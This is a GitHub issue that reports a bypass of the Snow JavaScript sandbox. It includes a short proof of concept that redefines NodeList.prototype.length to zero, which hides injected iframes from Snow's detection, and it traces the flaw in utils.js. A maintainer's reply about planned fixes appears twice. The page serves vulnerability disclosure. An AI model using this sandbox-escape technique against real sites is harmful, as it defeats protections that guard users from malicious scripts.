Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Snow can by bypassed with polluting NodeList.prototype.length #148

Open
terjanq opened this issue Oct 2, 2023 · 2 comments
Open

Snow can by bypassed with polluting NodeList.prototype.length #148

terjanq opened this issue Oct 2, 2023 · 2 comments

Comments

@terjanq
Copy link

terjanq commented Oct 2, 2023

PoC:

Object.defineProperty(NodeList.prototype, 'length', {value:0});
document.body.innerHTML = '<iframe name=iframe>';
iframe.alert(1337);

Vulnerable path:

  1. getFramesArray called in
    const frames = getFramesArray(element, false);
  2. slice() called on the results from querySelectorAll in

    snow/src/utils.js

    Lines 111 to 113 in 1c8faa8

    const list = querySelectorAll.call(element, 'iframe,frame,object,embed');
    fillArrayUniques(frames, slice(list));
    produces an empty array because of the length 0.
@naugtur
Copy link
Member

naugtur commented Nov 2, 2023

Thanks for contributing. The main maintainer of this project is temporary unavailable, but we'll definitely get back to this.
The plan is to tighten some limitations on DOM usage that Snow already introduces and fixing the missing overrides where possible. Some of the work has started (see PR tab)

Meanwhile we're also working with W3C to propose a basic building block of Snow getting introduced into the browser so that all of the monkey-patching can be eliminated in the future. https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html

Feel free to update this issue with comments on how you think it should be addressed. We may reach out with questions later.

1 similar comment
@naugtur
Copy link
Member

naugtur commented Nov 2, 2023

Thanks for contributing. The main maintainer of this project is temporary unavailable, but we'll definitely get back to this.
The plan is to tighten some limitations on DOM usage that Snow already introduces and fixing the missing overrides where possible. Some of the work has started (see PR tab)

Meanwhile we're also working with W3C to propose a basic building block of Snow getting introduced into the browser so that all of the monkey-patching can be eliminated in the future. https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html

Feel free to update this issue with comments on how you think it should be addressed. We may reach out with questions later.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants